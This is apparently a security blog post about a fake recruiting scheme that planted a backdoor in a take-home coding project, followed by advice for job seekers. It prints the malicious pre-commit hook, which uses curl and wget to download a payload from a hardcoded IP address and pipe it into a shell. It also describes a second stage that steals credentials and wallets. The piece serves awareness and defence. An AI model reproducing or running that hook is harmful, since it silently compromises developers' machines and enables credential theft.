When a Job Interview Becomes a Trojan Horse
Last Thursday, a developer named Appaji received a LinkedIn recruiting message. The offer: a remote Python developer role paying $10,000–$15,000 per month. The interview process was straightforward: one online conversation followed by a take-home project. The salary was attractive, the company claimed to be a Y Combinator-backed startup — everything seemed legitimate.
But Appaji was cautious. He downloaded the project archive to his local machine and ran tree -a out of habit, checking for hidden directories. Deep in the file tree, he spotted an unusual .git/hooks/pre-commit file. He opened it — and found a single script that automatically detected the target’s operating system and silently downloaded a backdoor. It was a meticulously crafted attack designed to steal SSH keys, AWS credentials, crypto wallets — turning a developer’s entire environment into an open vault without them ever noticing.
Caption: The LinkedIn message they received. The recruiter disclosed the salary range upfront — not unusual in real hiring, but in hindsight, the above-market pay was the first red flag.
The Full Attack Playbook
Based on Appaji’s public technical analysis, here’s the complete attack chain:
Step 1: Phishing — Who Says No to a Great Salary?
The recruiter reached out proactively on LinkedIn. The salary range was extremely enticing — well above market average in the Indian tech sector. The victim’s first reaction was naturally “lucky me,” and the interview process moved unusually fast: résumé submitted, quickly approved.
Step 2: A Professional-Looking Coding Project
The recruiter sent a Google Drive link containing a ZIP archive and a PDF with interview instructions. The project code was a FastAPI backend service with SQLAlchemy ORM — a standard Python interview template. The requirements.txt was clean, with no suspicious third-party packages.
Step 3: The “Time Bomb” in .git/hooks
But when Appaji ran tree -a to inspect all hidden files, he found more than 20 pre-installed Git hook scripts in the .git/hooks directory. Git hooks are a relatively obscure but powerful feature of the version control system — they let developers automatically execute scripts on specific events like git commit. A productivity tool in legitimate use, but a perfect malware delivery mechanism when abused.
That pre-commit hook would automatically trigger whenever someone ran git commit. Its core logic was just a few lines:
#!/bin/sh
case "$(uname -s)" in
Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
esacThe code detects the target’s operating system, downloads a second-stage payload from a remote server, and executes it silently in the background — no user interaction, no popup warnings. The moment you run git commit, it goes to work unnoticed.
The PDF interview instructions conveniently included a Git exercise — candidates were asked to modify code and commit it, precisely the trigger needed to activate the hook.
Step 4: Multi-Stage Payload — Stealing Secrets Via “npm Dependencies”
The first-stage script downloaded a second script from the same server, quietly saved it to ~/Documents/ with a .sh extension, and ran it in the background via nohup. The second script had a more specific goal: automatically install Node.js, download parser.js and package.json, install dependencies via npm, and run parser.js.
This parser.js was heavily obfuscated, but its package.json gave away the attacker’s intent: dependencies included clipboardy (clipboard access), basic-ftp (FTP transfer), axios (HTTP requests), jsonwebtoken (JWT token manipulation), and hardhat (an Ethereum development toolkit). The attacker wasn’t just after SSH keys and AWS credentials — they were also hunting for cryptocurrency wallet information.
Caption: The recruiter disclosed the salary range in the very first message. In hindsight, the inflated pay was a classic “bait” design — getting targets excited and off-guard.
Just How Sophisticated Was This Attack?
This incident is far from an ordinary piece of malware.
Clever trigger mechanism. The attacker deliberately included a Git exercise in the PDF instructions, making victims “voluntarily” run git commit to activate the malicious code. Every step was calculated around the victim’s expected behavior.
Multi-platform coverage. The attack script covered macOS, Linux, and Windows, using different download tools and commands for each platform. This suggests the attackers planned from the start for a large-scale campaign targeting developers on any operating system.
Identity tracking. The id=402 parameter in the request URLs wasn’t static. Changing the ID returned different scripts. I suspect the attackers assigned unique identifiers to each victim to track who had taken the bait and deliver tailored payloads accordingly.
Multiple delivery methods. Beyond the .git/hooks approach, another variant used VSCode launch tasks in the .vscode directory. If you opened the project in VSCode and “trusted” the author, the malicious code executed automatically.
But also amateurish elements. The C2 server IP address was hardcoded in plain text with no domain name obfuscation — fairly primitive by modern malware standards. On the other hand, the server was running the latest OpenSSH 9.6p1, suggesting some operational security awareness.
This mix of sloppiness and sophistication suggests a mid-sized criminal group rapidly iterating on their attack tooling.
Why Developers Are the Perfect Target
Targeting job-seeking developers is no accident.
Keys are assets. A developer’s machine — especially backend and DevOps engineers — almost certainly contains SSH private keys, AWS/GCP/Azure access credentials, database passwords, API tokens. Compromise one developer’s machine and you’ve got the keys to their entire company’s cloud infrastructure. A single SSH private key is worth far more on the black market than an ordinary person’s bank account details.
Trust inertia. The interview scenario provides natural cover. When someone is actively looking for a job, their mindset is “I want to be approved” and “I’ll follow their process.” Being asked to write code, clone a repository, or run commands feels perfectly normal to a candidate. The attacker exploits this asymmetric trust.
Low cost, high reward. Building a plausible FastAPI project takes a few hours. Clone a real open-source repository, add malicious hooks, repackage — the investment is minimal, but a successful compromise could yield hundreds of thousands of dollars.
”Interview Attacks” Are Doubling
Appaji’s experience is far from isolated. Microsoft’s security team has named this campaign “Contagious Interview” and noted it’s been active since at least December 2022. Attackers pose as recruiters from crypto or AI companies, distributing backdoored coding projects through code hosting platforms.
According to security community statistics, the number of “interview attack” cases in the first half of 2026 more than doubled compared to the same period last year. Multiple developers on Hacker News shared similar experiences — one developer named IvanGoncharov mentioned that during a video interview he was asked to clone and run a repository as a technical assessment. After the interview, the “CTO” canceled the next round citing illness, and the recruiter’s LinkedIn account disappeared a few days later. He didn’t realize he’d been compromised until he read Appaji’s article — and because he happened to be a former maintainer of an npm package with over 43 million weekly downloads, he was a high-value target. He had to completely wipe his machine and reinstall his OS.
Caption: Investigation revealed that the .npl extension has been linked to known APT attack campaigns. The attacker used this extension for the first-stage payload to evade simple filename-based checks.
How to Protect Yourself: Practical Advice for Job Seekers
I don’t want to stoke fear, but understanding basic precautions can keep you from becoming the next victim. Here are a few recommendations:
1. Always run interview projects in an isolated environment.
Before running any interview project locally, spin up a VM or Docker container. Run tree -a or ls -la to check for suspicious hidden files and pre-installed hooks.
2. Check .git/hooks and .vscode directories.
If the interview project comes with a Git repository, inspect .git/hooks for extra scripts — especially pre-commit and post-checkout. For VSCode projects, check .vscode/tasks.json and .vscode/launch.json.
3. Be suspicious of “high salary + easy interview” combinations. High pay isn’t automatically a red flag, but an above-market salary paired with an unusually streamlined interview process is worth a second look.
4. Don’t keep critical credentials on your interview machine. During your job search, consider using a “clean” development device or virtual environment. Don’t store important SSH keys or cloud credentials on a machine that might run interview projects.
5. Inspect dependencies and build scripts.
Before running npm install or pip install, read through package.json, requirements.txt, and Makefile — are there any unreasonable dependencies? Any scripts that trigger on install?
6. Check the recruiter’s LinkedIn “shelf life.” If a recruiter’s LinkedIn profile is too new (recently created, few connections, vague history), it’s likely a fake account. Real recruiters typically have years of HR work history and an established professional network.
Afterword
Reading this story, what struck me most was that razor-thin margin between “I almost fell for it” and “I caught it in time.” Appaji himself admitted that if it weren’t for the habit of checking hidden directories — a habit he picked up from CTF competitions — he might have just run git commit and pushed. He fit the attacker’s “ideal victim” profile perfectly: experienced, skilled, and looking for a job.
What makes this attack so frightening is that it exploits one of the most basic forms of human trust — “the interviewer asks you to do something, so it must be safe and necessary.” When malicious code is wrapped in an ordinary job application process, even the most advanced antivirus software is powerless.
Perhaps, in the digital security battlefield, that quiet thought — “this should be fine” — is the real vulnerability.
Reference Links
- I Inspected My Take-Home Interview Project. It Was a Whole Operation (original article)
- Contagious Interview: Malware delivered through fake developer job interviews (Microsoft Security Blog)
- Fake Job Interview Backdoor Malware Targeting Developer Machines (DEV Community)
- Contagious Interview malware in SVG images: DPRK campaign (Elastic Security Labs)
- Hacker News discussion thread (ID: 49013036)
